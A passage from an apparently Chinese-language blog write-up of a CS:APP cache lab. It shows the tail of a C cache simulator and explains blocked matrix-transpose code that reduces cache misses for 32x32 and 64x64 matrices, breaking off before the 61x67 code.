class="hljs-built_in">printf</span>(<span class="hljs-string">"hit "</span>);</div><div class="code-line numbered-code-line" data-line-number="150">        <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="151">    <span class="hljs-keyword">case</span> ADD_MISS:</div><div class="code-line numbered-code-line" data-line-number="152">        totalMissCount += num;</div><div class="code-line numbered-code-line" data-line-number="153">        <span class="hljs-keyword">if</span> (v &#x26;&#x26; num != <span class="hljs-number">0</span>)</div><div class="code-line numbered-code-line" data-line-number="154">            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"miss "</span>);</div><div class="code-line numbered-code-line" data-line-number="155">    }</div><div class="code-line numbered-code-line" data-line-number="156">}</div><div class="code-line numbered-code-line" data-line-number="157"></div><div class="code-line numbered-code-line" data-line-number="158"><span class="hljs-type">void</span> <span class="hljs-title function_">printByte</span>(bytept h, <span class="hljs-params hljs-type">int</span> len) {</div><div class="code-line numbered-code-line" data-line-number="159">    <span class="hljs-type">int</span> i;</div><div class="code-line numbered-code-line" data-line-number="160">    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &#x3C; len; i++)</div><div class="code-line numbered-code-line" data-line-number="161">        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%.2x "</span>, h[i]);</div><div class="code-line numbered-code-line" data-line-number="162">    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="163">}</div><div class="code-line numbered-code-line" data-line-number="164"></div><div class="code-line numbered-code-line" data-line-number="165"><span class="hljs-type">void</span> <span class="hljs-title function_">Execute</span>(CacheHead cache, <span class="hljs-params hljs-type">char</span> type, ulong address, <span class="hljs-params hljs-type">int</span> len) {</div><div class="code-line numbered-code-line" data-line-number="166">    ulong index = (address &#x3C;&#x3C; globalOptions.tagBits) >> (MACHINE_BITS - globalOptions.setIndexBits);</div><div class="code-line numbered-code-line" data-line-number="167">    ulong tag = address >> (globalOptions.blockBits + globalOptions.setIndexBits);</div><div class="code-line numbered-code-line" data-line-number="168">    <span class="hljs-type">int</span> status = CacheJudge(cache, index, tag);</div><div class="code-line numbered-code-line" data-line-number="169">    <span class="hljs-keyword">if</span> (globalOptions.verboseFlag == <span class="hljs-number">1</span>) {</div><div class="code-line numbered-code-line" data-line-number="170">        <span class="hljs-keyword">if</span>(globalOptions.superVerboseFlag == <span class="hljs-number">1</span>){</div><div class="code-line numbered-code-line" data-line-number="171">            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\\n[address:] "</span>);</div><div class="code-line numbered-code-line" data-line-number="172">            printByte((bytept)&#x26;address, <span class="hljs-keyword">sizeof</span>(<span class="hljs-type">long</span>));</div><div class="code-line numbered-code-line" data-line-number="173">            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[index:] "</span>);</div><div class="code-line numbered-code-line" data-line-number="174">            printByte((bytept)&#x26;index, <span class="hljs-keyword">sizeof</span>(<span class="hljs-type">long</span>));</div><div class="code-line numbered-code-line" data-line-number="175">            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[tag:] "</span>);</div><div class="code-line numbered-code-line" data-line-number="176">            printByte((bytept)&#x26;tag, <span class="hljs-keyword">sizeof</span>(<span class="hljs-type">long</span>));</div><div class="code-line numbered-code-line" data-line-number="177">            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"(Decimal)[index: %ld, tag: %ld]\\n------------------------------------------- "</span>, index, tag);</div><div class="code-line numbered-code-line" data-line-number="178">        }</div><div class="code-line numbered-code-line" data-line-number="179">        <span class="hljs-keyword">else</span>{</div><div class="code-line numbered-code-line" data-line-number="180">            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"(Decimal)[index: %ld, tag: %ld] ------ "</span>, index, tag);</div><div class="code-line numbered-code-line" data-line-number="181">        }</div><div class="code-line numbered-code-line" data-line-number="182">    }</div><div class="code-line numbered-code-line" data-line-number="183">    <span class="hljs-keyword">switch</span> (status) {</div><div class="code-line numbered-code-line" data-line-number="184">    <span class="hljs-keyword">case</span> CACHED:</div><div class="code-line numbered-code-line" data-line-number="185">        CacheTouch(cache, index, tag);</div><div class="code-line numbered-code-line" data-line-number="186">        <span class="hljs-keyword">if</span> (type == <span class="hljs-string">'M'</span>) {</div><div class="code-line numbered-code-line" data-line-number="187">            Adder(ADD_HIT, <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="188">            Adder(ADD_HIT, <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="189">        } <span class="hljs-keyword">else</span> {</div><div class="code-line numbered-code-line" data-line-number="190">            Adder(ADD_HIT, <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="191">        }</div><div class="code-line numbered-code-line" data-line-number="192">        <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="193">    <span class="hljs-keyword">case</span> NO_MATCH:</div><div class="code-line numbered-code-line" data-line-number="194">        CacheInsert(cache, index, tag);</div><div class="code-line numbered-code-line" data-line-number="195">        <span class="hljs-keyword">if</span> (type == <span class="hljs-string">'M'</span>) {</div><div class="code-line numbered-code-line" data-line-number="196">            Adder(ADD_MISS, <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="197">            Adder(ADD_HIT, <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="198">        } <span class="hljs-keyword">else</span> {</div><div class="code-line numbered-code-line" data-line-number="199">            Adder(ADD_MISS, <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="200">        }</div><div class="code-line numbered-code-line" data-line-number="201">        <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="202">    <span class="hljs-keyword">case</span> NEED_EVICT:</div><div class="code-line numbered-code-line" data-line-number="203">        CacheEvict(cache, index, tag);</div><div class="code-line numbered-code-line" data-line-number="204">        CacheInsert(cache, index, tag);</div><div class="code-line numbered-code-line" data-line-number="205">        <span class="hljs-keyword">if</span> (type == <span class="hljs-string">'M'</span>) {</div><div class="code-line numbered-code-line" data-line-number="206">            Adder(ADD_MISS, <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="207">            Adder(ADD_EVICT, <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="208">            Adder(ADD_HIT, <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="209"></div><div class="code-line numbered-code-line" data-line-number="210">        } <span class="hljs-keyword">else</span> {</div><div class="code-line numbered-code-line" data-line-number="211">            Adder(ADD_MISS, <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="212">            Adder(ADD_EVICT, <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="213">        }</div><div class="code-line numbered-code-line" data-line-number="214">        <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="215">    <span class="hljs-keyword">default</span>:</div><div class="code-line numbered-code-line" data-line-number="216">        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unknown error.\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="217">        <span class="hljs-built_in">exit</span>(EXIT_FAILURE);</div><div class="code-line numbered-code-line" data-line-number="218">    }</div><div class="code-line numbered-code-line" data-line-number="219">    <span class="hljs-keyword">if</span> (globalOptions.verboseFlag == <span class="hljs-number">1</span>) {</div><div class="code-line numbered-code-line" data-line-number="220">        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="221">    }</div><div class="code-line numbered-code-line" data-line-number="222">}</div><div class="code-line numbered-code-line" data-line-number="223"></div><div class="code-line numbered-code-line" data-line-number="224"><span class="hljs-type">int</span> <span class="hljs-title function_">main</span>(<span class="hljs-params hljs-type">int</span> argc, <span class="hljs-params hljs-type">char</span> *args[]) {</div><div class="code-line numbered-code-line" data-line-number="225">    <span class="hljs-type">char</span> ch;</div><div class="code-line numbered-code-line" data-line-number="226">    <span class="hljs-keyword">while</span> ((ch = getopt(argc, args, optString)) != <span class="hljs-number">-1</span>) {</div><div class="code-line numbered-code-line" data-line-number="227">        <span class="hljs-keyword">switch</span> (ch) {</div><div class="code-line numbered-code-line" data-line-number="228">        <span class="hljs-keyword">case</span> <span class="hljs-string">'s'</span>:</div><div class="code-line numbered-code-line" data-line-number="229">            <span class="hljs-keyword">if</span> (atoi(optarg) &#x3C; <span class="hljs-number">0</span>) {</div><div class="code-line numbered-code-line" data-line-number="230">                <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unvalid input for &#x3C;s>. Try Again.\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="231">                <span class="hljs-built_in">exit</span>(EXIT_FAILURE);</div><div class="code-line numbered-code-line" data-line-number="232">            }</div><div class="code-line numbered-code-line" data-line-number="233">            globalOptions.setIndexBits = atoi(optarg);</div><div class="code-line numbered-code-line" data-line-number="234">            <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="235">        <span class="hljs-keyword">case</span> <span class="hljs-string">'E'</span>:</div><div class="code-line numbered-code-line" data-line-number="236">            <span class="hljs-keyword">if</span> (atoi(optarg) &#x3C; <span class="hljs-number">0</span>) {</div><div class="code-line numbered-code-line" data-line-number="237">                <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unvalid input for &#x3C;E>. Try Again.\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="238">                <span class="hljs-built_in">exit</span>(EXIT_FAILURE);</div><div class="code-line numbered-code-line" data-line-number="239">            }</div><div class="code-line numbered-code-line" data-line-number="240">            globalOptions.associativity = atoi(optarg);</div><div class="code-line numbered-code-line" data-line-number="241">            <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="242">        <span class="hljs-keyword">case</span> <span class="hljs-string">'b'</span>:</div><div class="code-line numbered-code-line" data-line-number="243">            <span class="hljs-keyword">if</span> (atoi(optarg) &#x3C; <span class="hljs-number">0</span>) {</div><div class="code-line numbered-code-line" data-line-number="244">                <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unvalid input for &#x3C;b>. Try Again.\\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="245">                <span class="hljs-built_in">exit</span>(EXIT_FAILURE);</div><div class="code-line numbered-code-line" data-line-number="246">            }</div><div class="code-line numbered-code-line" data-line-number="247">            globalOptions.blockBits = atoi(optarg);</div><div class="code-line numbered-code-line" data-line-number="248">            <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="249">        <span class="hljs-keyword">case</span> <span class="hljs-string">'t'</span>:</div><div class="code-line numbered-code-line" data-line-number="250">            globalOptions.traceDir = optarg;</div><div class="code-line numbered-code-line" data-line-number="251">            <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="252">        <span class="hljs-keyword">case</span> <span class="hljs-string">'v'</span>:</div><div class="code-line numbered-code-line" data-line-number="253">            globalOptions.verboseFlag = <span class="hljs-number">1</span>;</div><div class="code-line numbered-code-line" data-line-number="254">            <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="255">        <span class="hljs-keyword">case</span> <span class="hljs-string">'h'</span>:</div><div class="code-line numbered-code-line" data-line-number="256">            usage();</div><div class="code-line numbered-code-line" data-line-number="257">            <span class="hljs-built_in">exit</span>(EXIT_FAILURE);</div><div class="code-line numbered-code-line" data-line-number="258">        <span class="hljs-keyword">case</span> <span class="hljs-string">'V'</span>:</div><div class="code-line numbered-code-line" data-line-number="259">            globalOptions.verboseFlag = <span class="hljs-number">1</span>;</div><div class="code-line numbered-code-line" data-line-number="260">            globalOptions.superVerboseFlag = <span class="hljs-number">1</span>;</div><div class="code-line numbered-code-line" data-line-number="261">            <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="262">        <span class="hljs-keyword">default</span>:</div><div class="code-line numbered-code-line" data-line-number="263">            usage();</div><div class="code-line numbered-code-line" data-line-number="264">            <span class="hljs-built_in">exit</span>(EXIT_FAILURE);</div><div class="code-line numbered-code-line" data-line-number="265">            <span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="266">        }</div><div class="code-line numbered-code-line" data-line-number="267">    }</div><div class="code-line numbered-code-line" data-line-number="268">    globalOptions.tagBits = MACHINE_BITS - globalOptions.blockBits - globalOptions.setIndexBits;</div><div class="code-line numbered-code-line" data-line-number="269"></div><div class="code-line numbered-code-line" data-line-number="270">    FILE *traceFile = fopen(globalOptions.traceDir, <span class="hljs-string">"r"</span>);</div><div class="code-line numbered-code-line" data-line-number="271">    <span class="hljs-keyword">if</span> (traceFile == <span class="hljs-literal">NULL</span>) {</div><div class="code-line numbered-code-line" data-line-number="272">        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Fail to open file: %s\\n"</span>, globalOptions.traceDir);</div><div class="code-line numbered-code-line" data-line-number="273">        <span class="hljs-built_in">exit</span>(EXIT_FAILURE);</div><div class="code-line numbered-code-line" data-line-number="274">    }</div><div class="code-line numbered-code-line" data-line-number="275">    CacheHead cache = CacheInit(globalOptions.setIndexBits, globalOptions.associativity);</div><div class="code-line numbered-code-line" data-line-number="276">    <span class="hljs-type">char</span> traceLine[<span class="hljs-number">32</span>];</div><div class="code-line numbered-code-line" data-line-number="277">    <span class="hljs-keyword">while</span> (fgets(traceLine, <span class="hljs-number">32</span>, traceFile) != <span class="hljs-literal">NULL</span>) {</div><div class="code-line numbered-code-line" data-line-number="278">        <span class="hljs-type">char</span> mode;</div><div class="code-line numbered-code-line" data-line-number="279">        ulong address;</div><div class="code-line numbered-code-line" data-line-number="280">        <span class="hljs-type">int</span> len;</div><div class="code-line numbered-code-line" data-line-number="281">        <span class="hljs-built_in">sscanf</span>(traceLine, <span class="hljs-string">" %c %lx,%d"</span>, &#x26;mode, &#x26;address, &#x26;len);</div><div class="code-line numbered-code-line" data-line-number="282">        <span class="hljs-keyword">if</span> (mode == <span class="hljs-string">'I'</span>)</div><div class="code-line numbered-code-line" data-line-number="283">            <span class="hljs-keyword">continue</span>;</div><div class="code-line numbered-code-line" data-line-number="284">        <span class="hljs-keyword">if</span> (globalOptions.verboseFlag == <span class="hljs-number">1</span>) {</div><div class="code-line numbered-code-line" data-line-number="285">            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%c %lx,%d "</span>, mode, address, len);</div><div class="code-line numbered-code-line" data-line-number="286">        }</div><div class="code-line numbered-code-line" data-line-number="287">        Execute(cache, mode, address, len);</div><div class="code-line numbered-code-line" data-line-number="288">    }</div><div class="code-line numbered-code-line" data-line-number="289">    printSummary(totalHitCount, totalMissCount, totalEvictCount);</div><div class="code-line numbered-code-line" data-line-number="290">    <span class="hljs-built_in">free</span>(cache);</div><div class="code-line numbered-code-line" data-line-number="291">    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="292">}</div></code></pre>
<p>最终在 <code>./driver.py</code> 的测试下，该程序和 <code>csim-ref</code> 的运行结果一致。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073919.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073919.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<h2 id="part-b"><a href="#part-b">PART B</a></h2>
<p>按照官方文档的说明，需要在 <code>trans.c</code> 中写入一个优化的矩阵转置函数。尽可能地降低不命中率。使用命令 <code>./test-trans -M &#x3C;rol> -N &#x3C;col></code> 可以查看这一转置函数的不命中数。生成的 <code>trace.fi</code> 文件还可以利用 PART A 写的缓存模拟器检查命中情况。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073942.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073942.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>从官方文档得知要在 PART B 中得到分数需要完成三个测试并满足对应的不命中数条件。</p>
<h3 id="test-i-32--32"><a href="#test-i-32--32">Test I: 32 * 32</a></h3>
<p>由于程序使用的缓存 block size 为 5，也就是有 2^5 的块大小，为 32 字节。<code>sizeof(int) = 4</code>，所以可以存储下 8 个整数。</p>
<p>先研究原始的一个简单的矩阵转置函数：</p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-type">int</span> i, j, tmp;</div><div class="code-line numbered-code-line" data-line-number="2"><span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &#x3C; N; i++) {</div><div class="code-line numbered-code-line" data-line-number="3">    <span class="hljs-keyword">for</span> (j = <span class="hljs-number">0</span>; j &#x3C; M; j++) {</div><div class="code-line numbered-code-line" data-line-number="4">        tmp = A[i][j];</div><div class="code-line numbered-code-line" data-line-number="5">        B[j][i] = tmp;</div><div class="code-line numbered-code-line" data-line-number="6">    }</div><div class="code-line numbered-code-line" data-line-number="7">}</div></code></pre>
<p>这一函数的运行结果出现了 1000 多个 miss。提取一小部分原始的文件，利用 csim 查看详细的 miss 和 eviction 信息，可以发现在读取的时候发生了严重的抖动，导致了大量 miss 的出现。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073947.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073947.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>所以可以利用矩阵分块的思想。每一行数组都可以被存入 4 个缓存行中，一共有 32 个缓存行，所以<strong>每过 8 行就会出现一次和前面相同的组索引</strong>，发生 miss 和 eviction。所以考虑将 32 * 32 的矩阵分成 16 个 8 * 8 的矩阵，每一次都将一行的 8 个 int 分别存储进 t1 - t4。</p>
<p>即，将矩阵划分成如下结构：</p>
<table>
<thead>
<tr>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>6</td>
<td>7</td>
<td>8</td>
</tr>
<tr>
<td>9</td>
<td>10</td>
<td>11</td>
<td>12</td>
</tr>
<tr>
<td>13</td>
<td>14</td>
<td>15</td>
<td>16</td>
</tr>
</tbody>
</table>
<p>其中每一个小块都是 8 * 8，每一行能够完整存储到缓存行中的矩阵。这种情况在 <code>transpose_submit()</code> 中的代码如下：</p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">if</span>(N == <span class="hljs-number">32</span> &#x26;&#x26; M == <span class="hljs-number">32</span>){</div><div class="code-line numbered-code-line" data-line-number="2">    <span class="hljs-type">int</span> i, j, k;</div><div class="code-line numbered-code-line" data-line-number="3">    <span class="hljs-type">int</span> t1, t2, t3, t4, t5, t6, t7, t8;</div><div class="code-line numbered-code-line" data-line-number="4">    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &#x3C; <span class="hljs-number">32</span>; i += <span class="hljs-number">8</span>) {</div><div class="code-line numbered-code-line" data-line-number="5">        <span class="hljs-keyword">for</span> (j = <span class="hljs-number">0</span>; j &#x3C; <span class="hljs-number">32</span>; j += <span class="hljs-number">8</span>) {</div><div class="code-line numbered-code-line" data-line-number="6">            <span class="hljs-keyword">for</span> (k = <span class="hljs-number">0</span>; k &#x3C; <span class="hljs-number">8</span>; k++) {</div><div class="code-line numbered-code-line" data-line-number="7">                t1 = A[i + k][j];</div><div class="code-line numbered-code-line" data-line-number="8">                t2 = A[i + k][j + <span class="hljs-number">1</span>];</div><div class="code-line numbered-code-line" data-line-number="9">                t3 = A[i + k][j + <span class="hljs-number">2</span>];</div><div class="code-line numbered-code-line" data-line-number="10">                t4 = A[i + k][j + <span class="hljs-number">3</span>];</div><div class="code-line numbered-code-line" data-line-number="11">                t5 = A[i + k][j + <span class="hljs-number">4</span>];</div><div class="code-line numbered-code-line" data-line-number="12">                t6 = A[i + k][j + <span class="hljs-number">5</span>];</div><div class="code-line numbered-code-line" data-line-number="13">                t7 = A[i + k][j + <span class="hljs-number">6</span>];</div><div class="code-line numbered-code-line" data-line-number="14">                t8 = A[i + k][j + <span class="hljs-number">7</span>];</div><div class="code-line numbered-code-line" data-line-number="15">                B[j][i + k] = t1;</div><div class="code-line numbered-code-line" data-line-number="16">                B[j + <span class="hljs-number">1</span>][i + k] = t2;</div><div class="code-line numbered-code-line" data-line-number="17">                B[j + <span class="hljs-number">2</span>][i + k] = t3;</div><div class="code-line numbered-code-line" data-line-number="18">                B[j + <span class="hljs-number">3</span>][i + k] = t4;</div><div class="code-line numbered-code-line" data-line-number="19">                B[j + <span class="hljs-number">4</span>][i + k] = t5;</div><div class="code-line numbered-code-line" data-line-number="20">                B[j + <span class="hljs-number">5</span>][i + k] = t6;</div><div class="code-line numbered-code-line" data-line-number="21">                B[j + <span class="hljs-number">6</span>][i + k] = t7;</div><div class="code-line numbered-code-line" data-line-number="22">                B[j + <span class="hljs-number">7</span>][i + k] = t8;</div><div class="code-line numbered-code-line" data-line-number="23">            }</div><div class="code-line numbered-code-line" data-line-number="24">        }</div><div class="code-line numbered-code-line" data-line-number="25">    }</div><div class="code-line numbered-code-line" data-line-number="26">}</div></code></pre>
<p>结果如下图所示：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073952.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073952.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<h3 id="test-ii-64--64"><a href="#test-ii-64--64">Test II: 64 * 64</a></h3>
<p>和第一种情况测试类似。但是由于大小变成了 64 * 64，每过 4 行就会出现一次冲突的情况。所以可以先分成 8 * 8 的块，然后再把 8 * 8 的块分成 4 个 4 * 4 的块。读取一行，但存储进的位置如图所示。逆序存储之后再逐行处理 C' 和 B' 处的数据。</p>
<p>由于之前是逆序存储的，所以在 C' 会把 0 加载进缓存，而在 B' 会把 24 加载进缓存，再利用 t1, t2, t3, t4 四个变量作临时变量存储，交换 0 行和 24 行的位置。</p>
<p>这一部分比较复杂，这里参考了欧阳松的博客（<a href="https://www.ouyangsong.com/posts/55291/#fn4">https://www.ouyangsong.com/posts/55291/#fn4</a>），大概的逻辑如下图所示：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074003.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074003.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>具体的代码实现如下：</p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (N == <span class="hljs-number">64</span> &#x26;&#x26; M == <span class="hljs-number">64</span>) {</div><div class="code-line numbered-code-line" data-line-number="2">    <span class="hljs-type">int</span> t0, t1, t2, t3, t4, t5, t6, t7;</div><div class="code-line numbered-code-line" data-line-number="3">    <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &#x3C; N; i += <span class="hljs-number">8</span>) {</div><div class="code-line numbered-code-line" data-line-number="4">        <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> j = <span class="hljs-number">0</span>; j &#x3C; M; j += <span class="hljs-number">8</span>) {</div><div class="code-line numbered-code-line" data-line-number="5">            <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> k = i; k &#x3C; i + <span class="hljs-number">4</span>; k++) {</div><div class="code-line numbered-code-line" data-line-number="6">                t0 = A[k][j];</div><div class="code-line numbered-code-line" data-line-number="7">                t1 = A[k][j + <span class="hljs-number">1</span>];</div><div class="code-line numbered-code-line" data-line-number="8">                t2 = A[k][j + <span class="hljs-number">2</span>];</div><div class="code-line numbered-code-line" data-line-number="9">                t3 = A[k][j + <span class="hljs-number">3</span>];</div><div class="code-line numbered-code-line" data-line-number="10">                t4 = A[k][j + <span class="hljs-number">4</span>];</div><div class="code-line numbered-code-line" data-line-number="11">                t5 = A[k][j + <span class="hljs-number">5</span>];</div><div class="code-line numbered-code-line" data-line-number="12">                t6 = A[k][j + <span class="hljs-number">6</span>];</div><div class="code-line numbered-code-line" data-line-number="13">                t7 = A[k][j + <span class="hljs-number">7</span>];</div><div class="code-line numbered-code-line" data-line-number="14">                B[j][k] = t0;</div><div class="code-line numbered-code-line" data-line-number="15">                B[j + <span class="hljs-number">1</span>][k] = t1;</div><div class="code-line numbered-code-line" data-line-number="16">                B[j + <span class="hljs-number">2</span>][k] = t2;</div><div class="code-line numbered-code-line" data-line-number="17">                B[j + <span class="hljs-number">3</span>][k] = t3;</div><div class="code-line numbered-code-line" data-line-number="18">                B[j + <span class="hljs-number">0</span>][k + <span class="hljs-number">4</span>] = t7;</div><div class="code-line numbered-code-line" data-line-number="19">                B[j + <span class="hljs-number">1</span>][k + <span class="hljs-number">4</span>] = t6;</div><div class="code-line numbered-code-line" data-line-number="20">                B[j + <span class="hljs-number">2</span>][k + <span class="hljs-number">4</span>] = t5;</div><div class="code-line numbered-code-line" data-line-number="21">                B[j + <span class="hljs-number">3</span>][k + <span class="hljs-number">4</span>] = t4;</div><div class="code-line numbered-code-line" data-line-number="22">            }</div><div class="code-line numbered-code-line" data-line-number="23">            <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> h = <span class="hljs-number">0</span>; h &#x3C; <span class="hljs-number">4</span>; h++) {</div><div class="code-line numbered-code-line" data-line-number="24">                t0 = A[i + <span class="hljs-number">4</span>][j + <span class="hljs-number">3</span> - h];</div><div class="code-line numbered-code-line" data-line-number="25">                t1 = A[i + <span class="hljs-number">5</span>][j + <span class="hljs-number">3</span> - h];</div><div class="code-line numbered-code-line" data-line-number="26">                t2 = A[i + <span class="hljs-number">6</span>][j + <span class="hljs-number">3</span> - h];</div><div class="code-line numbered-code-line" data-line-number="27">                t3 = A[i + <span class="hljs-number">7</span>][j + <span class="hljs-number">3</span> - h];</div><div class="code-line numbered-code-line" data-line-number="28">                t4 = A[i + <span class="hljs-number">4</span>][j + <span class="hljs-number">4</span> + h];</div><div class="code-line numbered-code-line" data-line-number="29">                t5 = A[i + <span class="hljs-number">5</span>][j + <span class="hljs-number">4</span> + h];</div><div class="code-line numbered-code-line" data-line-number="30">                t6 = A[i + <span class="hljs-number">6</span>][j + <span class="hljs-number">4</span> + h];</div><div class="code-line numbered-code-line" data-line-number="31">                t7 = A[i + <span class="hljs-number">7</span>][j + <span class="hljs-number">4</span> + h];</div><div class="code-line numbered-code-line" data-line-number="32">                B[j + <span class="hljs-number">4</span> + h][i + <span class="hljs-number">0</span>] = B[j + <span class="hljs-number">3</span> - h][i + <span class="hljs-number">4</span>];</div><div class="code-line numbered-code-line" data-line-number="33">                B[j + <span class="hljs-number">4</span> + h][i + <span class="hljs-number">1</span>] = B[j + <span class="hljs-number">3</span> - h][i + <span class="hljs-number">5</span>];</div><div class="code-line numbered-code-line" data-line-number="34">                B[j + <span class="hljs-number">4</span> + h][i + <span class="hljs-number">2</span>] = B[j + <span class="hljs-number">3</span> - h][i + <span class="hljs-number">6</span>];</div><div class="code-line numbered-code-line" data-line-number="35">                B[j + <span class="hljs-number">4</span> + h][i + <span class="hljs-number">3</span>] = B[j + <span class="hljs-number">3</span> - h][i + <span class="hljs-number">7</span>];</div><div class="code-line numbered-code-line" data-line-number="36">                B[j + <span class="hljs-number">3</span> - h][i + <span class="hljs-number">4</span>] = t0;</div><div class="code-line numbered-code-line" data-line-number="37">                B[j + <span class="hljs-number">3</span> - h][i + <span class="hljs-number">5</span>] = t1;</div><div class="code-line numbered-code-line" data-line-number="38">                B[j + <span class="hljs-number">3</span> - h][i + <span class="hljs-number">6</span>] = t2;</div><div class="code-line numbered-code-line" data-line-number="39">                B[j + <span class="hljs-number">3</span> - h][i + <span class="hljs-number">7</span>] = t3;</div><div class="code-line numbered-code-line" data-line-number="40">                B[j + <span class="hljs-number">4</span> + h][i + <span class="hljs-number">4</span>] = t4;</div><div class="code-line numbered-code-line" data-line-number="41">                B[j + <span class="hljs-number">4</span> + h][i + <span class="hljs-number">5</span>] = t5;</div><div class="code-line numbered-code-line" data-line-number="42">                B[j + <span class="hljs-number">4</span> + h][i + <span class="hljs-number">6</span>] = t6;</div><div class="code-line numbered-code-line" data-line-number="43">                B[j + <span class="hljs-number">4</span> + h][i + <span class="hljs-number">7</span>] = t7;</div><div class="code-line numbered-code-line" data-line-number="44">            }</div><div class="code-line numbered-code-line" data-line-number="45">        }</div><div class="code-line numbered-code-line" data-line-number="46">    }</div><div class="code-line numbered-code-line" data-line-number="47">}</div></code></pre>
<p>得到如下结果：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074014.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074014.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<h3 id="test-iii-61--67"><a href="#test-iii-61--67">Test III: 61 * 67</a></h3>
<p>这一测试中由于矩阵不规则，而且也不是 8 的倍数，所以在行与行之间没有特别明显的冲突不命中的关系。可以尝试用分块矩阵的方式优化。经过尝试 8 * 8 的分块和 16 * 16 的分块后，发现使用 16 * 16 的分块方式可以将 miss 数降低到 2000 以下。</p>
<p>这一部分的代码如下：</p>
